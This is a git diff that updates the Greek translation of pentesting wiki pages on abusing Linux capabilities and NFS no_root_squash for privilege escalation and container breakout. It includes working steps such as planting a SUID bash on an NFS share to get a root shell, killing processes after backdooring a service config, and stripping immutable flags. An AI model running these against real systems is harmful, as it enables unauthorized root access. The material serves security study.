Αν το **docker** είναι εγκατεστημένο, μπορείτε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να κλιμακώσετε τα δικαιώματα](#writable-docker-socket).
## CAP_SETFCAP
@ -1265,13 +1224,13 @@ print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
```
> [!WARNING]
> Σημειώστε ότι αν ορίσετε μια νέα ικανότητα στο δυαδικό αρχείο με CAP_SETFCAP, θα χάσετε αυτή την ικανότητα.
> Σημειώστε ότι αν ορίσετε μια νέα ικανότητα στο δυαδικό αρχείο με το CAP_SETFCAP, θα χάσετε αυτή την ικανότητα.
Μόλις έχετε [SETUID capability](linux-capabilities.md#cap_setuid) μπορείτε να μεταβείτε στην ενότητα του για να δείτε πώς να κλιμακώσετε τα δικαιώματα.
**Παράδειγμα με περιβάλλον (Docker breakout)**
Από προεπιλογή, η ικανότητα **CAP_SETFCAP δίνεται στη διαδικασία μέσα στο κοντέινερ στο Docker**. Μπορείτε να το ελέγξετε κάνοντας κάτι όπως:
Από προεπιλογή η ικανότητα **CAP_SETFCAP δίνεται στη διαδικασία μέσα στο κοντέινερ στο Docker**. Μπορείτε να το ελέγξετε κάνοντας κάτι όπως:
```bash
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
@ -1283,8 +1242,8 @@ CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
Αυτή η δυνατότητα επιτρέπει να **δώσουμε οποιαδήποτε άλλη δυνατότητα σε δυαδικά αρχεία**, οπότε θα μπορούσαμε να σκεφτούμε για **διαφυγή** από το κοντέινερ **καταχρώντας οποιαδήποτε από τις άλλες δυνατότητες διαφυγής** που αναφέρονται σε αυτή τη σελίδα.\
Ωστόσο, αν προσπαθήσετε να δώσετε για παράδειγμα τις δυνατότητες CAP_SYS_ADMIN και CAP_SYS_PTRACE στο δυαδικό αρχείο gdb, θα διαπιστώσετε ότι μπορείτε να τις δώσετε, αλλά το **δυαδικό αρχείο δεν θα μπορεί να εκτελεστεί μετά από αυτό**:
Αυτή η ικανότητα επιτρέπει να **δώσουμε οποιαδήποτε άλλη ικανότητα σε δυαδικά αρχεία**, οπότε θα μπορούσαμε να σκεφτούμε για **διαφυγή** από το κοντέινερ **καταχρώντας οποιαδήποτε από τις άλλες ικανότητες που αναφέρονται σε αυτή τη σελίδα**.\
Ωστόσο, αν προσπαθήσετε να δώσετε για παράδειγμα τις ικανότητες CAP_SYS_ADMIN και CAP_SYS_PTRACE στο δυαδικό αρχείο gdb, θα διαπιστώσετε ότι μπορείτε να τις δώσετε, αλλά το **δυαδικό αρχείο δεν θα μπορεί να εκτελεστεί μετά από αυτό**:
```bash
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
@ -1294,25 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Αυτό είναι ένα **περιοριστικό υπερσύνολο για τις αποτελεσματικές ικανότητες** που μπορεί να αναλάβει το νήμα. Είναι επίσης ένα περιοριστικό υπερσύνολο για τις ικανότητες που μπορεί να προστεθούν στο κληρονομούμενο σύνολο από ένα νήμα που **δεν έχει την ικανότητα CAP_SETPCAP** στο αποτελεσματικό του σύνολο._\
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Αυτό είναι ένα **περιοριστικό υπερσύνολο για τις αποτελεσματικές ικανότητες** που μπορεί να αναλάβει το νήμα. Είναι επίσης ένα περιοριστικό υπερσύνολο για τις ικανότητες που μπορεί να προστεθούν στο κληρονομούμενο σύνολο από ένα νήμα που **δεν έχει την ικανότητα CAP_SETPCAP** στο αποτελεσματικό του σύνολο._\
Φαίνεται ότι οι επιτρεπόμενες ικανότητες περιορίζουν αυτές που μπορούν να χρησιμοποιηθούν.\
Ωστόσο, το Docker παρέχει επίσης την **CAP_SETPCAP** από προεπιλογή, οπότε μπορεί να είστε σε θέση να **ορίσετε νέες ικανότητες μέσα στις κληρονομούμενες**.\
Ωστόσο, στην τεκμηρίωση αυτής της ικανότητας: _CAP_SETPCAP : \[…] **προσθέτει οποιαδήποτε ικανότητα από το περιοριστικό σύνολο του καλούντος νήματος** στο κληρονομούμενο σύνολο_.\
Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομούμενο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομούμενο σύνολο για να κλιμακώσουμε προνόμια**.
Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομούμενο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομούμενο σύνολο για να κλιμακώσουμε τα προνόμια**.
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά από ευαίσθητες λειτουργίες, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση `mmap_min_addr`, πρόσβαση σε `ioperm(2)` και `iopl(2)` συστήματα κλήσεων, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`.
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά ευαίσθητων λειτουργιών, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση `mmap_min_addr`, πρόσβαση σε κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` ενεργοποιείται επίσης μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`.
Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση προνομίων** και **breakout Docker.**
Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση προνομίων** και **breakout του Docker.**
## CAP_KILL
**Αυτό σημαίνει ότι είναι δυνατό να σκοτώσετε οποιαδήποτε διαδικασία.**
**Αυτό σημαίνει ότι είναι δυνατό να τερματίσετε οποιαδήποτε διαδικασία.**
**Παράδειγμα με δυαδικό**
Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια υπηρεσία ή ρύθμιση υποδοχής** (ή οποιοδήποτε αρχείο ρύθμισης που σχετίζεται με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να σκοτώσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας.
Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια ρύθμιση υπηρεσίας ή socket** (ή οποιοδήποτε αρχείο ρύθμισης σχετικό με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να τερματίσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας.
```python
#Use this python code to kill arbitrary processes
import os
@ -1334,7 +1293,7 @@ electron-cef-chromium-debugger-abuse.md
## CAP_NET_BIND_SERVICE
**Αυτό σημαίνει ότι είναι δυνατό να ακούσετε σε οποιαδήποτε θύρα (ακόμα και σε προνομιούχες).** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα.
**Αυτό σημαίνει ότι είναι δυνατόν να ακούσετε σε οποιαδήποτε θύρα (ακόμα και σε προνομιούχες).** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα.
**Παράδειγμα με δυαδικό αρχείο**
@ -1366,7 +1325,7 @@ s.connect(('10.10.10.10',500))
## CAP_NET_RAW
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντεϊνεροποιημένα περιβάλλοντα, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντεϊνερ ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων.
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντεϊνεροποιημένα περιβάλλοντα, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντεϊνερών ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων.
**Αυτό σημαίνει ότι είναι δυνατόν να καταγράψετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα.
@ -1427,7 +1386,7 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των αδειών υποδοχών και των ρυθμίσεων διεπαφής δικτύου εντός των εκτεθειμένων namespaces δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την παρακολούθηση πακέτων σε διάφορα namespaces.
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχο τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των αδειών υποδοχών και των ρυθμίσεων διεπαφής δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων.
**Παράδειγμα με δυαδικό**
@ -1445,11 +1404,11 @@ iptc.easy.flush_table('filter')
```
## CAP_LINUX_IMMUTABLE
**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτή την ικανότητα.
**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτήν την ικανότητα.
**Παράδειγμα με δυαδικό αρχείο**
Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτή την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:**
Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτήν την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:**
```python
#Check that the file is imutable
lsattr file.sh
@ -1472,7 +1431,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> [!TIP]
> Σημειώστε ότι συνήθως αυτό το αμετάβλητο χαρακτηριστικό ρυθμίζεται και αφαιρείται χρησιμοποιώντας:
>
> ```bash
@ -1482,10 +1441,10 @@ f.write('New content for the file\n')
## CAP_SYS_CHROOT
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει την εκτέλεση της κλήσης συστήματος `chroot(2)`, η οποία μπορεί δυνητικά να επιτρέψει την έξοδο από περιβάλλοντα `chroot(2)` μέσω γνωστών ευπαθειών:
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει την εκτέλεση της κλήσης συστήματος `chroot(2)`, η οποία μπορεί δυνητικά να επιτρέψει την απόδραση από περιβάλλοντα `chroot(2)` μέσω γνωστών ευπαθειών:
- [Πώς να σπάσετε διάφορες λύσεις chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
- [chw00t: εργαλείο εξόδου chroot](https://github.com/earthquake/chw00t/)
- [chw00t: εργαλείο απόδρασης chroot](https://github.com/earthquake/chw00t/)
## CAP_SYS_BOOT
@ -1499,10 +1458,10 @@ f.write('New content for the file\n')
## CAP_MKNOD
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επεκτείνει τη λειτουργικότητα της κλήσης συστήματος `mknod` πέρα από τη δημιουργία κανονικών αρχείων, FIFOs (ονομασμένες σωλήνες) ή υποδοχών τομέα UNIX. Επιτρέπει συγκεκριμένα τη δημιουργία ειδικών αρχείων, τα οποία περιλαμβάνουν:
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επεκτείνει τη λειτουργικότητα της κλήσης συστήματος `mknod` πέρα από τη δημιουργία κανονικών αρχείων, FIFOs (ονόματα σωλήνων) ή υποδοχών τομέα UNIX. Επιτρέπει συγκεκριμένα τη δημιουργία ειδικών αρχείων, τα οποία περιλαμβάνουν:
- **S_IFCHR**: Ειδικά αρχεία χαρακτήρων, τα οποία είναι συσκευές όπως τερματικά.
- **S_IFBLK**: Ειδικά αρχεία μπλοκ, τα οποία είναι συσκευές όπως δίσκοι.
- **S_IFCHR**: Αρχεία ειδικών χαρακτήρων, τα οποία είναι συσκευές όπως τερματικά.
- **S_IFBLK**: Αρχεία ειδικών μπλοκ, τα οποία είναι συσκευές όπως δίσκοι.
Αυτή η ικανότητα είναι απαραίτητη για διαδικασίες που απαιτούν τη δυνατότητα δημιουργίας αρχείων συσκευών, διευκολύνοντας την άμεση αλληλεπίδραση με το υλικό μέσω χαρακτήρων ή μπλοκ συσκευών.
@ -1514,7 +1473,7 @@ f.write('New content for the file\n')
2. Έχετε αρχική πρόσβαση στο κοντέινερ (με δικαιώματα (EUID 0), και αποτελεσματικό `CAP_MKNOD`).
3. Ο οικοδεσπότης και το κοντέινερ θα πρέπει να μοιράζονται το ίδιο namespace χρηστών.
**Βήματα για τη Δημιουργία και Πρόσβαση σε μια Συσκευή Μπλοκ σε Ένα Κοντέινερ:**
**Βήματα για τη Δημιουργία και Πρόσβαση σε Συσκευή Μπλοκ σε Ένα Κοντέινερ:**
1. **Στον Οικοδεσπότη ως Κανονικός Χρήστης:**
@ -1545,19 +1504,19 @@ head /proc/12345/root/dev/sdb
### CAP_SETPCAP
**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από τα δικά της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν σφίξει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των κληρονομούμενων επιτρεπόμενων συνόλων, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και την ενίσχυση της ασφάλειας.
**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από τα δικά της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν αυστηροποιήσει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των κληρονομούμενων επιτρεπόμενων συνόλων, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και στην ενίσχυση της ασφάλειας.
**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιήσει τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα.
**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιεί τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα.
Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων.
Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει μόνο ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων.
Επιπλέον, σε πρόσφατες εκδόσεις του πυρήνα, η ικανότητα `CAP_SETPCAP` έχει **περιοριστεί περαιτέρω**. Δεν επιτρέπει πλέον σε μια διαδικασία να τροποποιεί αυθαίρετα τα σύνολα ικανοτήτων άλλων διαδικασιών. Αντίθετα, **επιτρέπει μόνο σε μια διαδικασία να μειώσει τις ικανότητες στο δικό της επιτρεπόμενο σύνολο ικανοτήτων ή στο επιτρεπόμενο σύνολο ικανοτήτων των κληρονόμων της**. Αυτή η αλλαγή εισήχθη για να μειώσει τους πιθανούς κινδύνους ασφαλείας που σχετίζονται με την ικανότητα.
Επιπλέον, σε πρόσφατες εκδόσεις του πυρήνα, η ικανότητα `CAP_SETPCAP` έχει **περιοριστεί περαιτέρω**. Δεν επιτρέπει πλέον σε μια διαδικασία να τροποποιεί αυθαίρετα τα σύνολα ικανοτήτων άλλων διαδικασιών. Αντίθετα, **επιτρέπει μόνο σε μια διαδικασία να μειώνει τις ικανότητες στο δικό της επιτρεπόμενο σύνολο ικανοτήτων ή στο επιτρεπόμενο σύνολο ικανοτήτων των κληρονόμων της**. Αυτή η αλλαγή εισήχθη για να μειώσει τους πιθανούς κινδύνους ασφαλείας που σχετίζονται με την ικανότητα.
Για να χρησιμοποιήσετε το `CAP_SETPCAP` αποτελεσματικά, πρέπει να έχετε την ικανότητα στο αποτελεσματικό σας σύνολο ικανοτήτων και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο ικανοτήτων σας. Μπορείτε στη συνέχεια να χρησιμοποιήσετε την κλήση συστήματος `capset()` για να τροποποιήσετε τα σύνολα ικανοτήτων άλλων διαδικασιών.
Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιήσει τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση των ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των κληρονόμων του.
Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιεί τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση των ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των κληρονόμων του.
## Αναφορές
## References
**Οι περισσότερες από αυτές τις παραδείγματα προήλθαν από κάποια εργαστήρια του** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), οπότε αν θέλετε να εξασκηθείτε σε αυτές τις τεχνικές privesc, προτείνω αυτά τα εργαστήρια.

View File

@ -1,24 +1,28 @@
# NFS No Root Squash Misconfiguration Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
# Squashing Basic Info
Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύονται από τον πελάτη που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**:
## Squashing Basic Info
Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύει ο πελάτης που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**:
- **`all_squash`**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες.
- **`root_squash`/`no_all_squash`**: Αυτό είναι προεπιλεγμένο στο Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root).
- **``no_root_squash`**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root.
Στο **/etc/exports** αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής.
Στο αρχείο **/etc/exports**, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής.
Για περισσότερες πληροφορίες σχετικά με το **NFS** ελέγξτε:
{{#ref}}
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Privilege Escalation
## Privilege Escalation
## Remote Exploit
### Remote Exploit
Επιλογή 1 χρησιμοποιώντας bash:
- **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash.
@ -36,8 +40,8 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Option 2 χρησιμοποιώντας κώδικα που έχει μεταγλωττιστεί σε C:
- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή-πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)).
Option 2 using c compiled code:
- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)).
- Οι ίδιες περιορισμοί όπως πριν
```bash
#Attacker, as root user
@ -52,19 +56,19 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Τοπική Εκμετάλλευση
### Τοπική Εκμετάλλευση
> [!NOTE]
> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων σήραγγας των απαιτούμενων θυρών**.\
> [!TIP]
> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος, μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων τοποθετώντας τις απαιτούμενες θύρες**.\
